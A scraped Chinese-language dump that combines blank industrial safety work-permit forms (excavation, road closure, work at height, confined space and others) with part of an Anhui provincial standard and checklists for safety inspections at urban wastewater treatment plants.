@#@36V、24V、12V防爆型灯@#@14@#@作业人员已佩戴安全帽等防护器具@#@15@#@动火范围(包括深度、面积,并附简图)无障碍物,已在总图上做标记@#@动土安全作业证(正面)@#@编号@#@申请单位@#@申请人@#@作业@#@单位@#@作业地点@#@电源接入点@#@电压@#@填写人@#@作业时间@#@自年月日时分至年月日时分止@#@动土作业范围、内容、方式(包括深度、面积,并附简图):
@#@@#@ @#@@#@项目负责人:
@#@年月日时分@#@危害辨识:
@#@@#@ @#@@#@动土安全措施(执行背面):
@#@@#@ @#@@#@作业负责人:
@#@年月日时分@#@作业地段负责人意见@#@ @#@@#@负责人:
@#@年月日时分@#@有关水、电、汽、工艺、设备、消防、安全等部门会签意见:
@#@@#@ @#@@#@总图负责人意见:
@#@@#@年月日时分@#@完工验收检查@#@ @#@@#@签字:
@#@年月日时分@#@动土安全作业证(背面)@#@安全措施@#@序号@#@安全措施@#@打√@#@1@#@作业人员作业前已进行了安全教育@#@2@#@作业地点处于易燃易爆场所,需要动火时是否办理了动火证@#@3@#@地下电力电缆已确认保护措施已落实@#@4@#@地下通讯电(光)缆、局域网络电(光)缆已确认保护措施已落实@#@5@#@地下供排水、消防管线、工艺管线已确认保护措施已落实@#@6@#@已按作业方案图划线和立桩@#@7@#@动土地点有电线、管道等地下设施,应向作业单位交待并派人监护;@#@作业时轻挖,禁止使用铁棒、铁镐或抓斗等机械工具@#@8@#@作业现场围栏、警戒线、警告牌夜间警示灯已按要求设置@#@9@#@已进行放坡处理和固壁支撑@#@10@#@人员出入口和撤离安全措施已落实:
@#@A.梯子;@#@B.修坡道@#@11@#@道路施工作业已报:
@#@交通、消防、安全监督部门、应急中心@#@12@#@备有可燃气体检测仪、有毒介质检测仪@#@13@#@现场夜间有充足照明:
@#@@#@A.36V、24V、12V防水型灯@#@B.36V、24V、12V防爆型灯@#@14@#@作业人员已佩戴安全帽等防护器具。
@#@@#@15@#@动土范围(包括深度、面积、并附简图)无障碍物,@#@已在总图上做标记@#@ @#@@#@断路安全作业证@#@编号第联@#@申请单位@#@作业单位@#@断路时间@#@年月日时至年月日时@#@断路原因@#@断路地段示意图:
@#@@#@ @#@@#@断路申请单位应采取的安全措施:
@#@@#@ @#@@#@断路申请单位负责人(签字):
@#@@#@断路作业单位应采取的安全措施:
@#@@#@ @#@@#@断路作业单位负责人(签字):
@#@@#@审批部门意见:
@#@@#@审批部门负责人(签字):
@#@@#@完工验收:
@#@@#@ @#@@#@断路申请单位负责人(签字):
@#@审批部门负责人(签字):
@#@@#@断路作业证(背面)@#@风险分析及安全措施@#@序号@#@风险分析@#@安全措施@#@确认人@#@1@#@标识不明,信息沟通不畅,影响交通,引发事故@#@①作业前,施工单位在断路路口设置交通档杆、断路标识,为来往的车辆提示绕行线路@#@②交管部门审批《断路作业证》后,立即通知调度等有关部门。
@#@@#@2@#@作业期间,无适当安全措施或不到位,引发交通事故或人员伤害事故@#@①断路作业过程中,施工单位应负责在施工现场设置围栏、交通警告牌,夜间应悬挂警示红灯@#@②在断路施工作业时,施工单位应设置安全巡检员,保证在应急情况下公路的随时畅通。
@#@@#@③在断路施工作业期间,施工单位不得随意乱堆施工材料。
@#@@#@3@#@作业结束后,现场清理不彻底,阻碍交通,能上能引发事故@#@①断路作业结束后,施工单位应负责清理现场,撤除现场和路口设置的挡杆、断路标志、围栏、警告牌、警示红灯,报交管部门。
@#@@#@②交管部门到现场检查核实后,通知各有关单位断路工作结束,恢复交通@#@4@#@变更未经审批,引发事故@#@①断路作业应按《断路作业证》的内容进行,严禁涂改、转借《断路作业证》,严禁擅自变更作业内容、扩大作业范围或转移作业部位。
@#@@#@②在《断路作业证》规定的时间内未完成断路作业时,由断路申请单位重新办理。
@#@@#@5@#@涉及危险作业组合,未落实相应措施@#@若涉及高处、动土等危险作业时,应同时办理相关作业许可证。
@#@@#@6@#@施工条件发生重大变化@#@若施工条件发生重大变化,应重新办理《断路作业证》。
@#@@#@断路作业通知单@#@编号@#@申请单位@#@作业单位@#@断路时间@#@年月日时至年月日时@#@断路原因@#@断路地段示意图:
@#@@#@ @#@@#@审批部门负责人(签字):
@#@@#@ @#@@#@年月日@#@接收单位负责人(签字):
@#@@#@年月日@#@ @#@@#@高处安全作业证(正面)@#@编号@#@申请单位@#@申请人@#@作业时间@#@自年月日时分至年月日时分止@#@作业地点@#@作业内容@#@作业高度@#@作业类别@#@作业单位@#@作业人@#@危害辨识:
@#@@#@ @#@@#@安全措施(执行背面):
@#@@#@作业单位现场负责人:
@#@@#@监护人职责@#@检查安全措施是否安全落实到位,并做好监护@#@监护人@#@签字:
@#@@#@年月日时分@#@作业单位负责人意见@#@签字:
@#@@#@年月日时分@#@审核部门意见@#@签字:
@#@@#@签字:
@#@@#@签字:
@#@@#@审核部门意见@#@签字:
@#@@#@签字:
@#@@#@签字:
@#@@#@完工验收人@#@签字:
@#@@#@@#@年月日时分@#@高处安全作业证(背面)@#@序号@#@安全措施@#@打√@#@1@#@作业人员身体条件符合要求@#@2@#@作业人员着装符合工作要求@#@3@#@作业人员佩戴合格的安全帽@#@4@#@作业人员佩戴安全带,安全带要高挂低用@#@5@#@作业人员携带有工具袋@#@6@#@作业人员佩戴:
@#@A、过滤式防毒面面或口罩;@#@B、空气呼吸器@#@7@#@现场搭设的脚手架、防护网、围栏符合安全规定@#@8@#@垂直分层作业中间有隔离设施@#@9@#@梯子、绳子符合安全规定@#@10@#@石棉瓦等轻型棚的承重物作业所搭设的承重板稳定牢固@#@11@#@作业人员在石棉瓦等不承重物作业所搭设的承重板稳定牢固@#@12@#@采光不足、夜间作业有充足的照明、安装临时灯、防爆灯@#@13@#@30m以上高处作业配备通讯、联络工具@#@14@#@补充措施@#@15@#@其他@#@设备检修作业安全许可证@#@编号:
@#@@#@设备名称@#@所属单位@#@检修地点@#@检修单位@#@检修负责人@#@参加检修人@#@检修起止时间@#@年月日时分至年月日时分@#@检修内容:
@#@@#@ @#@@#@年月日@#@风险分析和安全措施:
@#@@#@ @#@@#@设备交出负责人:
@#@检修项目负责人:
@#@@#@设备所在单位审查意见@#@年月日@#@检修单位审查意见@#@年月日@#@工程管理部门意见@#@年月日@#@注:
@#@@#@1.本作业证适合用于化工生产区域的设备大、中修与抢修作业。
@#@设备检修作业前应办理本证,设备所属单位内部人员检修不必工程管理部门审批。
@#@@#@2.根据设备检修项目要求,应制定设备检修方案,落实检修人员、检修组织和安全措施。
@#@@#@3.检修项目负责人须按检修方案的要求,组织检修任务人员到检修现场,交代清楚检修项目、任务、检修方案,并落实检修安全措施。
@#@@#@4.检修项目负责人对检修安全工作负全面责任,并指定专人负责整个检修作业过程的安全工作。
@#@@#@5.设备检修如需高处作业、动火、动土、断路、吊装、抽堵盲板、进入设备内作业等,须按规定办理相应的安全作业证。
@#@@#@6.设备的清洗、置换、交出由设备所在单位负责,设备清洗、置换后应有分析报告。
@#@检修项目负责人应会同设备技术人员、工艺技术人员检查并确认设备、工艺处理及抽堵盲板等符合检修安全要求。
@#@@#@7.检修前,必须对参加检修作业的人员进行安全教育。
@#@@#@8.变更作业内容,扩大作业范围或转移作业地点,应重新办理许可证。
@#@@#@9.对审批手续不全、安全措施不落实、作业环境不符合安全要求的,作业人员有权拒绝作业。
@#@@#@10.其他选项经《设备检修作业风险分析和安全措施》(附后)。
@#@@#@11.本证一式两份,施工单位一份,工程(机动)管理部门留存一份。
@#@@#@盲板抽堵安全作业证@#@生产车间(分厂):
@#@编号:
@#@@#@设备管道名称@#@介质@#@温度@#@压力@#@盲板@#@实施时间@#@作业人@#@监护人@#@材质@#@规格@#@编号@#@堵@#@抽@#@堵@#@抽@#@堵@#@抽@#@盲板位置图:
@#@@#@ @#@@#@编制人:
@#@@#@年月日@#@安全措施:
@#@@#@ @#@@#@生产车间(分厂)负责人:
@#@@#@年月日@#@盲板抽堵作业单位确认意见:
@#@@#@ @#@@#@作业单位负责人:
@#@@#@年月日@#@审批意见:
@#@@#@ @#@@#@批准人:
@#@@#@年月日@#@受限空间安全作业证@#@生产车间(分厂):
@#@编号:
@#@@#@受@#@限@#@空@#@间@#@所@#@在@#@单@#@位@#@负@#@责@#@项@#@目@#@栏@#@受限空间所在单位:
@#@@#@受限空间名称:
@#@@#@检修作业内容:
@#@@#@受限空间主要介质:
@#@@#@作业时间:
@#@年月日时起至年月日时止@#@隔绝安全措施:
@#@@#@ @#@@#@确认人签字:
@#@@#@负责人:
@#@年月日@#@作业单位负责项目栏@#@作业单位:
@#@@#@作业负责人:
@#@@#@作业监护人:
@#@@#@作业中可能产生的有害物质:
@#@@#@作业安全措施(包括抢救后备措施):
@#@@#@负责人:
@#@年月日@#@采样分析@#@分析项目@#@有毒有害介质@#@可燃气@#@氧含量@#@取样时间@#@取样部位@#@分析人@#@分析标准@#@分析数据@#@审批意见:
@#@@#@ @#@@#@批准人:
@#@年月日@#@";i:
34;s:
25950:
"安徽省地方标准@#@安徽省地方标准@#@城镇污水处理厂安全检查标准@#@@#@前言@#@根据《安徽省住房和城乡建设厅关于印发2018年度安徽省工程建设地方标准及标准设计图集制(修)订计划的通知》(建标函〔2018〕1275号)的要求,本标准编制组结合省内外城镇污水处理厂安全管理与安全生产检查的实践经验,参考国家及行业相关标准,在广泛征求意见的基础上,制定了本标准。
@#@@#@本标准的主要内容是:
@#@总则、术语、基本规定、安全管理检查、安全生产检查。
@#@@#@本标准由安徽省住房城乡建设厅负责管理。
@#@由安徽国祯环保节能科技股份有限公司负责具体技术内容的解释。
@#@执行过程中如有意见或建议,请寄送安徽国祯环保节能科技股份有限公司(地址:
@#@合肥市高新技术产业开发区科学大道91号,邮政编码:
@#@230088)。
@#@@#@1总则@#@1.0.1为了规范城镇污水处理厂安全检查工作,提高城镇污水处理厂安全标准化管理水平,防止和减少安全生产事故,制定本标准。
@#@@#@1.0.2本标准适用于安徽省城镇污水处理厂的安全检查工作。
@#@@#@1.0.3安徽省城镇污水处理厂的安全检查,除应符合本标准外,尚应符合国家有关法律法规和现行有关规范标准的规定。
@#@@#@ @#@@#@2术语@#@2.0.1城镇污水处理厂municipalwastewatertreatmentplant@#@处理市政排水管网收集的生活污水及符合排入城镇下水道相关要求的工业废水的污水处理厂。
@#@@#@2.0.2安全检查小组safetyinspectionteam@#@城镇污水处理厂的安全检查应成立由各专业人员组成的检查小组。
@#@@#@2.0.3设施installations@#@城镇污水处理厂为实现污水、污泥和恶臭气味等污染治理所配备的机械、设备、装置、建筑物与构筑物的总称。
@#@@#@2.0.4变更管理changemanagement@#@指对人员、生产流程、技术、设施等永久性或暂时性的变化进行有计划的控制,确保变更带来的危险源得到充分识别,风险得到有效控制。
@#@@#@2.0.5业主owner@#@合同情况下的接受方及企业的投资方。
@#@@#@2.0.6相关方interested party@#@工作场所内外与企业安全生产绩效有关或受其影响的个人或单位,如承包商、供应商等。
@#@@#@2.0.7风险risk@#@某一特定危害情况发生的可能性和后果的结合。
@#@@#@2.0.8风险评价riskassessment@#@评估风险大小以及确定风险是否可允许的过程。
@#@@#@2.0.9危险源hazard@#@可能导致伤害、疾病、财产损失、工作环境破坏或这些情况组合的根源或状态。
@#@@#@2.0.10危险源辨识hazardidentification@#@识别危险源的存在并确定其特性的过程。
@#@@#@2.0.11应急救援emergencyrescue@#@在应急响应过程中,为最大限度地降低事故造成的损失或危害,防止事故扩大,而采取的紧急措施或行动。
@#@@#@2.0.12职业病occupationaldisease@#@是指企业、事业单位和个体经济组织(以下统称用人单位)的劳动者在职业活动中,因接触粉尘、放射性物质和其它有毒、有害物质等因素而引起的疾病。
@#@@#@3基本规定@#@3.0.1城镇污水处理厂安全检查分为安全管理检查和安全生产检查。
@#@安全管理检查包含安全组织机构检查、安全制度检查、安全生产教育培训等安全管理内容检查;@#@安全生产检查包含城镇污水处理厂污水处理、污泥处置、加药间、臭气处理、化验室、配电房、消防、特种设备等系统的安全生产区域检查。
@#@@#@3.0.2城镇污水处理厂生产部门及主管、监管单位应按照本标准开展安全管理自查、安全监督检查。
@#@@#@3.0.3各级检查部门应根据实际情况按本标准的有关检查内容进行检查。
@#@@#@3.0.4城镇污水处理厂应做好变更管理工作。
@#@@#@3.0.5城镇污水处理厂主管、监管单位应按照第4章的安全检查内容对城镇污水处理厂进行安全监督检查。
@#@@#@3.0.6城镇污水处理厂生产部门应每半年按照第4章安全检查表表4.0.1检查1次,应每月按照第5章安全检查表检查1次。
@#@@#@3.0.7每次检查前,应根据安全检查类型与内容,配置检查人员及装备,组建安全检查小组。
@#@@#@3.0.8安全检查小组应至少包含一名获得国家相应安全资质证书的人员。
@#@@#@3.0.9被检查单位或部门应提前向安全检查小组进行安全交底,告知可能面临的安全隐患或风险。
@#@@#@3.0.10安全检查小组应根据本标准对安全管理体系、安全台账、生产现场等进行检查,并督促被检查单位或部门在限期内完成整改与反馈。
@#@@#@3.0.11安全检查项目应按A、B两级分类。
@#@A类项为重要安全整改项,B类项为一般安全整改项。
@#@@#@3.0.12安全检查过程中,情况符合时,应在相应检查结果一栏中填写“符合”或打“√”;@#@情况不符合时,应在相应检查结果一栏中填写发现的问题或隐患,提出整改时限要求。
@#@@#@3.0.13城镇污水处理厂应根据检查结果及时制定整改方案(包含整改措施、整改期限、责任人等),整改过程中应留有记录,并及时将整改报告反馈至安全检查小组。
@#@@#@3.0.14安全检查表及整改报告应及时归档、妥善保管。
@#@@#@ @#@@#@4安全管理检查@#@4.0.1城镇污水处理厂安全管理检查应按表4.0.1执行。
@#@@#@4.0.2城镇污水处理厂主管、监管单位进行安全监督检查应按表4.0.1、4.0.2执行。
@#@@#@4.0.3城镇污水处理厂安全管理检查应包括但不限于:
@#@安全制度管理、安全生产计划管理、安全生产资金管理、危险作业管理、安全检查管理、应急管理、特种设备管理、相关方管理、职业健康管理、危险源管理等。
@#@@#@4.0.4城镇污水处理厂必须建立各级安全生产责任制、安全管理制度,制定安全操作规程。
@#@应逐级签订安全生产责任书,落实奖惩措施。
@#@@#@4.0.5城镇污水处理厂必须设置安全管理机构,配备专(兼)职安全员,持证上岗,并将安全管理机构图置于明显位置。
@#@@#@4.0.6城镇污水处理厂必须制定年度安全生产计划。
@#@年度安全生产计划内容应包括但不限于:
@#@安全检查计划、安全人员培训计划、应急预案演练计划和安全生产资金使用计划等。
@#@@#@4.0.7安全培训计划必须明确培训对象、培训内容与培训形式,培训应按安全培训计划组织开展。
@#@培训计划发生变更时,应及时告知相关人员并留有记录。
@#@@#@4.0.8安全培训工作应符合《生产经营单位安全培训规定》(国家安监总局令第3号)的有关规定。
@#@@#@4.0.9安全生产资金管理应符合《企业安全生产费用提取和使用管理办法》(财企〔2012〕16号)的有关规定。
@#@@#@4.0.10在开展有限空间作业、动火作业、高空作业等危险作业前,必须进行危险危害识别,列出危害因素清单,制定和实施安全措施,完成作业审批流程后方可开展工作。
@#@@#@4.0.11城镇污水处理厂应制定安全生产检查与整改制度,明确安全检查的组织形式、检查周期、检查内容与整改要求等。
@#@@#@4.0.12生产检查与整改必须留有记录。
@#@尚未整改的隐患应有情况说明与措施计划,并通报全体员工。
@#@@#@4.0.13城镇污水处理厂必须为从业人员提供符合国家标准或者行业标准的劳动防护用品,并监督、教育从业人员按照使用规则佩戴、使用。
@#@@#@4.0.14城镇污水处理厂应急预案编制应符合《生产经营单位生产安全事故应急预案编制导则》GB/T29639的有关规定。
@#@@#@4.0.15应在生产区域内张贴应急处置卡,明确应急处置流程及紧急联系人。
@#@@#@4.0.16特种设备的使用与管理应符合《特种设备安全监察条例》(国务院令第373号)的有关规定。
@#@@#@4.0.17应委托具有相关资质的相关方,实施机械设备检修、仪表校验、构筑物修复、建筑物修缮、绿化维护等工作。
@#@应与相关方签订施工合同、安全协议,明确双方安全责任;@#@施工前应与相关方进行安全交底,施工过程中对施工进行安全监督与检查,施工结束后应进行安全验收。
@#@@#@4.0.18职业健康防护与监护工作应符合《中华人民共和国职业病防治法》和《职业健康监护技术规范》GBZ188的有关规定。
@#@@#@4.0.19城镇污水处理厂的构、建筑物的防雷检测工作应符合《建筑物防雷装置检测技术规范》GBT21431的有关规定。
@#@@#@4.0.20城镇污水处理厂的危险源评估与管理应符合《职业健康安全管理体系》的有关规定。
@#@@#@4.0.21城镇污水处理厂的事故调查工作应符合《生产安全事故报告和调查处理条例》的有关规定。
@#@@#@表4.0.1安全管理检查表@#@序号@#@检查单元@#@检查项目@#@检查方式@#@类型@#@检查内容@#@检查结果@#@整改时限@#@1@#@安全生产机构及职责@#@1.1领导机构@#@查阅组织机构文件@#@A@#@设有由主要负责人领导的安全生产委员会或领导小组。
@#@@#@1.2安全生产管理体系@#@查阅安全生产管理网络图@#@A@#@应建立安全生产网络图并置于明显位置,与现场状况吻合,配置至少一名专(兼)职安全员,有人员更变,必须立即对安全生产网络图进行更新。
@#@@#@2@#@安全生产责任制@#@2.1安全生产责任制@#@对照机构设置查安全生产责任制@#@B@#@是否健全安全生产责任制度,涵盖各部门、岗位的安全责任。
@#@@#@2.2安全生产责任制的落实@#@查阅安全生产责任书与考核记录@#@A@#@与每个部门、岗位签订安全生产责任书(责任令、责任状),并定期进行考核,与奖惩挂钩。
@#@@#@3@#@安全教育培训@#@3.1制度与计划@#@查阅安全教育培训制度@#@B@#@建立有安全教育培训制度和培训计划,明确培训对象、培训内容与培训形式,培训按培训计划组织开展。
@#@培训计划发生变更时,应及时告知相关人员并留有记录。
@#@@#@3.2主要负责人与安全员安全培训@#@查阅主要负责人与安全员的专业培训考核合格证书@#@A@#@主要负责人、安全员由国家安全主管部门专业培训考核合格,取得专业培训考核合格证书,培训时间不得少于32学时,每年再培训时间不得少于12学时。
@#@@#@3.3特种作业人员安全教育培训@#@对照特种作业人员名单查阅特种作业人员操作证@#@A@#@所有特种作业人员经专门的安全作业培训,取得特种作业人员操作证,特种作业操作证每3年复审1次,连续从事本工种10年以上,经发证机关同意,复审时间可以延长至每6年1次。
@#@@#@3.4新入职工三级安全教育培训@#@对照员工花名册查阅三级安全教育培训记录@#@A@#@所有新入员工在上岗前已进行三级安全生产培训教育,有培训记录、本人签名、授课人签名及学时证明,培训时间不得少于24学时。
@#@@#@3.5日常安全教育培训@#@对照员工花名册查阅安全教育培训记录@#@A@#@所有在岗从业人员定期接受安全培训教育,有培训记录和本人签名。
@#@@#@4@#@安全生产投入@#@4.1制度@#@查阅安全生产费用投入保障制度@#@B@#@制定有安全生产费用投入保障制度,明确提取方法、使用范围等。
@#@@#@4.2安全费用的使用@#@查阅安全生产投入台账@#@A@#@应罗列各项安全生产费用明细:
@#@@#@1完善、改造和维护安全防护设施设备支出;@#@@#@2配备、维护、保养应急救援器材、设备支出和应急演练支出;@#@@#@3开展重大危险源和事故隐患评估、监控和整改支出;@#@@#@4安全生产检查、评价、咨询和标准化建设支出;@#@@#@5配备和更新现场作业人员安全防护用品支出;@#@@#@6安全生产宣传、教育、培训支出。
@#@@#@5@#@危险作业管理@#@5.1岗位操作规程@#@查阅岗位操作规程@#@B@#@岗位操作规程编制涵盖厂内所有生产岗位、各工艺段主要设备及特种设备。
@#@@#@5.2岗位操作规程培训@#@对照员工花名册查阅岗位操作规程培训记录@#@A@#@所有在岗从业人员定期接受岗位操作规程培训,有培训记录和本人签名。
@#@@#@5.3危险作业审批@#@查阅危险作业工作票@#@A@#@开展有限空间、动火作业、高空作业等危险作业时有审批程序,落实安全措施、责任人、监护人,有批准人签字。
@#@@#@6@#@安全检查与整改@#@6.1制度@#@查阅安全生产检查与整改制度@#@B@#@制定有安全生产检查与整改制度,明确安全检查的组织形式、检查周期、检查内容与整改要求等。
@#@@#@6.2检查与整改记录@#@查阅安全检查记录@#@A@#@有与制度对应的各类安全检查记录,有检查时间与检查人签名;@#@整改记录能清楚反应整改前后内容,尚未整改的隐患有情况说明和措施计划。
@#@@#@6.3隐患汇总与通报@#@查阅通报记录@#@A@#@对尚未整改的隐患汇总并定期通报全体员工及上报主管部门@#@7@#@劳动保护@#@7.1制度@#@查阅劳动防护用品管理制度@#@B@#@制定有劳动防护用品管理制度和劳动防护用品发放标准,明确采购、保管、发放及使用要求@#@7.2劳动保护用品的发放@#@查阅劳动防护用品发放记录@#@A@#@有与发放标准对应的发放记录,有领用人签名。
@#@@#@8@#@应急预案@#@8.1事故应急救援预案@#@查阅应急救援预案@#@A@#@依据生产经营单位风险评估及应急能力评估结果,组织编制应急预案。
@#@应急预案编制应注重系统性和可操作性,递交至当地安监部门进行报备与评审,每3年重新评审。
@#@@#@8.2应急救援物资@#@现场检查@#@A@#@企业设有专门的应急物资库,配备有急救、呼吸防护、堵漏等应急救援器材,有维修保养记录,确保能正常使用。
@#@@#@8.3应急预案的演练@#@查阅应急演练相关材料@#@A@#@每年至少进行一次专项应急演练,有演练方案、演练过程记录和总结。
@#@@#@8.4应急处置卡@#@编制张贴应急处置卡@#@A@#@生产区域内应张贴应急处置卡(应急处置流程及紧急联系人)。
@#@@#@9@#@安全设备管理@#@9.1制度@#@查阅安全设备设施管理制度@#@B@#@制定有安全设备设施管理制度,明确责任部门、采购、使用、维保等要求。
@#@@#@9.2设备清单与台账@#@查阅安全设备设施清单与台账@#@A@#@建立各种安全设备设施清单明细、台账及维护保养记录。
@#@@#@9.3特种设备@#@查阅特种设备安全技术档案@#@A@#@建立特种设备档案,包括:
@#@设计文件、产品质量合格证明、安装及使用维护保养说明、监督检验证明等相关技术资料和文件;@#@定期检验和定期自行检查记录;@#@日常使用状况记录;@#@特种设备及其附属仪器仪表的维护保养记录;@#@运行故障和事故记录。
@#@@#@10@#@事故管理@#@10.1制度@#@查阅工伤事故管理制度@#@B@#@制定有安全生产事故管理制度,包括:
@#@目的、责任、使用范围、法律依据、事故范围、事故分类、事故报告、报告内容、应急处理、调查处理等方面。
@#@@#@10.2事故台账@#@查阅事故台账@#@A@#@建立有事故台账,事故调查报告应当包括下列内容:
@#@@#@1事故发生单位概况;@#@@#@2事故发生经过和事故救援情况;@#@@#@3事故造成的人员伤亡和直接经济损失;@#@@#@4事故发生的原因和事故性质;@#@@#@5事故责任的认定以及对事故责任者的处理建议;@#@@#@6事故防范和整改措施。
@#@@#@事故调查报告应当附具有关证据材料;@#@事故调查组成员应当在事故调查报告上签名。
@#@@#@11@#@相关方安全管理@#@11.1相关方选择@#@查阅台账@#@A@#@选择相关方时,由安全及业务主管部门核查相关方是否具备承担项目的能力,包括:
@#@@#@1具有与业主相符合的安全管理准则及标准;@#@@#@2具备技术和业务能力;@#@@#@3按业主的要求进行安全培训,验证其员工是否具备从事岗位工作的技能;@#@@#@4满足上级组织及企业的安全要求等。
@#@@#@11.2开工前准备@#@现场检查@#@A@#@开工前应与相关方签订安全协议、施工合同,并进行安全交底与安全培训教育,审查相关方的安全作业计划和应急预案;@#@@#@11.3作业过程监督@#@现场检查@#@A@#@在项目实施过程中应对相关方的作业过程进行监督检查,包括但不限于:
@#@@#@1直接作业环节的危害识别和风险控制;@#@@#@2安全准则的遵守情况;@#@@#@3事故事件的报告和处理;@#@@#@4安全作业计划的执行情况;@#@@#@5应急预案的演习等。
@#@@#@12@#@职业健康@#@12.1制度@#@查阅职业健康安全管理制度@#@B@#@建立、实施、保持和持续改进职业健康安全管理制度。
@#@@#@12.2台账@#@查阅职业健康台账@#@A@#@包职业健康台账包括但不限于如下内容:
@#@@#@1、建设项目职业卫生“三同时”,@#@2、劳动者个人职业健康监护,@#@3、用人单位职业健康监护@#@4、职业病危害因素监测与检测评价@#@5、职业卫生档案管理规范@#@6、职业卫生管理@#@7、职业卫生宣传培训@#@12.3现场@#@现场检查@#@A@#@应在醒目位置设置职业卫生公示栏、各职业卫生风险点职业卫生告知卡和职业卫生应急救援材料。
@#@@#@13@#@防雷检测@#@13.1台账@#@查阅防雷检测台账@#@A@#@防雷检测报告应在有效期内。
@#@@#@14@#@危险源评估与管理@#@14.1辨识与评估@#@档案检查@#@B@#@应建立危险源的管理制度,明确辨识与评估的职责、方法、范围、流程、控制原则、回顾、持续改进等。
@#@@#@14.2登记建档与备案@#@档案检查@#@A@#@按规定对本单位的生产设施或场所进行危险源辨识、评估、分级,甄别出重大危险;@#@危险源档案除危险源辨识登记表,还应包括危险单元划分、危险因素分析、危险源管理分级等方面的结果和依据材料;@#@归档时,应列明档案中有关资料的清单,辨识负责人、审查负责人及归档经办人均应在档案上签字;@#@对于发生变更的危险源应及时归档。
@#@@#@14.3监控与管理@#@现场检查@#@A@#@必须对重大危险采取措施进行监控,包括技术措施(设计、建设、运行、维护、检查、检验等)和组织措施(职责明确、人员培训、防护器具配置、作业要求等);@#@应在危险源现场设置明显的安全警示标志和危险源点警示牌(内容包含名称、地点、责任人员、事故模式、控制措施等)。
@#@@#@检查人(签名):
@#@检查时间:
@#@@#@表4.0.2安全监督检查表@#@序号@#@检查结果@#@检查位置@#@整改期限@#@备注@#@1@#@2@#@3@#@4@#@5@#@6@#@7@#@检查人(签名):
@#@检查时间:
@#@@#@5安全生产检查@#@5.1一般规定@#@5.1.1安全生产检查内容包括但不限于:
@#@机械安全管理、电气安全管理、安全防护用品管理、安全警示标志管理、危化品管理及设备运行管理等。
@#@@#@5.1.2城镇污水处理厂安全设施应配置齐全,安全标志设置应符合《安全标志及使用导则》GB2894的有关规定;@#@@#@5.1.3各岗位操作人员在岗期间必须穿戴防护用品,做好安全防护工作。
@#@@#@5.1.4起重设备应设专人持证操作,吊物下方危险区域内严禁站人。
@#@@#@5.1.5凡设有钢丝绳结构的装置,应定期维护保养;@#@当发现绳端断丝、绳股断裂、扭结、压扁等情况时,应及时更换。
@#@@#@5.1.6设备转动、旋转、传动部位应设置防护罩。
@#@设备启动和运行时,操作人员严禁靠近、接触该部位。
@#@@#@5.1.7控制箱(柜)设计与使用应符合《供配电系统设计规范》GB50052和《低压配电设计规范》GB50054中的有关规定。
@#@@#@5.1.8控制箱(柜)应用黄绿电缆做接地处理,主体设备外壳应有接地螺丝,并用黑色接地线与其联接,联接螺栓应紧固、无锈蚀、脱焊现象;@#@箱体应安装牢固,无损坏和严重锈蚀现象,箱(柜)内应无灰尘、杂物。
@#@@#@5.1.9设备急停开关应完好、有效,外观醒目。
@#@@#@5.1.10各类阀门井应保持干燥,寒冷季节应对外露管道、阀门等设施采取防冻措施。
@#@@#@5.1.11构筑物、建筑物的护栏及扶梯应牢固可靠,设施护栏不得低于1.2m,在构筑物上应悬挂安全警示标志,配备救生圈、安全绳等救生用品,并应定期检查和更换。
@#@@#@5.1.12救生圈的使用材必须符合《救生圈》GB4302的有关规定。
@#@@#@5.1.13在易燃易爆、有毒有害气体、异味、粉尘和环境潮湿的场所,应进行强制通风,通风设备应符合防爆要求。
@#@对于厂区内易燃易爆等危险区域,严禁烟火,配备必要的安全防护与应急救援用品。
@#@@#@5.2污水处理系统@#@5.2.1污水处理系统的安全生产检查应按表5.2.1-1、5.2.1-2、5.2.1-3执行。
@#@@#@5.2.2当工艺选型不同时,应根据构筑物的异同使用相应的安全检查表进行检查。
@#@@#@5.2.3格栅及配套设备机械转动、旋转、传动部位应设置保护隔离措施。
@#@@#@5.2.4泵房应设置安全警示标志。
@#@安全警示标志应醒目,无模糊、损坏现象,应在明显位置悬挂“有限空间作业安全告知牌”。
@#@@#@5.2.5罗茨风机皮带传动处应设置保护罩,风机出气口应设置气压表及释压阀。
@#@@#@5.2.6鼓风机房设备管道应无裂纹和渗漏,管道应保持畅通,密封良好;@#@管道附属设施(压力表、减压阀等)运行正常,应真实反应相关数据参数。
@#@@#@5.2.7操作人员进入鼓风机房开展工作前应佩戴隔音防护用品。
@#@@#@ @#@@#@表5.2.1-1预处理系统安全检查表@#@序号@#@检查单元@#@检查项目@#@检查方式@#@类型@#@检查内容@#@检查结果@#@整改时限@#@1@#@格栅@#@1.1控制箱(柜)@#@现场检查@#@B@#@控制箱(柜)用黄绿电缆做接地处理,主体设备外壳有接地螺丝,并用黑色接地线与其联接,联接螺栓紧固无锈蚀、脱焊现象;@#@箱体安装牢固,无损坏和严重锈蚀现象,控制箱(柜)内无灰尘、杂物。
@#@@#@1.2急停装置@#@现场检查@#@A@#@急停装置可正常工作,外观完好醒目。
@#@@#@1.3附属设施@#@现场检查@#@A@#@围栏安装牢固,无损坏和严重锈蚀现象;@#@盖板牢固,无损坏和严重锈蚀现象;@#@爬梯牢固可靠,无损坏和严重锈蚀现象。
@#@@#@1.4安全警示标志@#@现场检查@#@A@#@安全警示标志醒目,无模糊、损坏现象。
@#@@#@1.5防护隔离装置@#@现场检查@#@A@#@格栅机械转动部分增加保护隔离装置,如回转式格栅传动链条处应有保护罩;@#@转鼓式格栅应有保护栅网;@#@皮带输送机应有隔离装置等。
@#@@#@1.6记录@#@查阅记录@#@A@#@查阅格栅等设备的安全操作规程;@#@查阅维修记录中,安全措施的布置;@#@查阅安全隐患整改记录。
@#@@#@2@#@泵房@#@2.1控制柜/箱@#@现场检查@#@A@#@控制箱(柜)用黄绿电缆做接地处理,主体设备外壳有接地螺丝,并用黑色接地线与其联接,联接螺栓紧固无锈蚀、脱焊现象;@#@箱体安装牢固,无损坏和严重锈蚀现象,控制箱(柜)内无灰尘、杂物。
@#@@#@2.2急停装置@#@现场检查@#@A@#@急停装置可正常工作,外观完好醒目。
@#@@#@2.3附属设施@#@现场检查@#@A@#@围栏安装牢固,无损坏和严重锈蚀现象;@#@盖板牢固,无损坏和严重锈蚀现象;@#@爬梯牢固可靠,无损坏和严重锈蚀现象。
@#@@#@2.4安全警示标志@#@现场检查@#@A@#@安全警示标志醒目,无模糊、损坏现象,有“有限空间作业安全告知牌”。
@#@@#@2.5电动葫芦@#@现场检查、查阅记录@#@A@#@起吊制动安全可靠,钢丝绳无断丝,吊钩防脱钩应完好,功能健全,维保记录齐全有效。
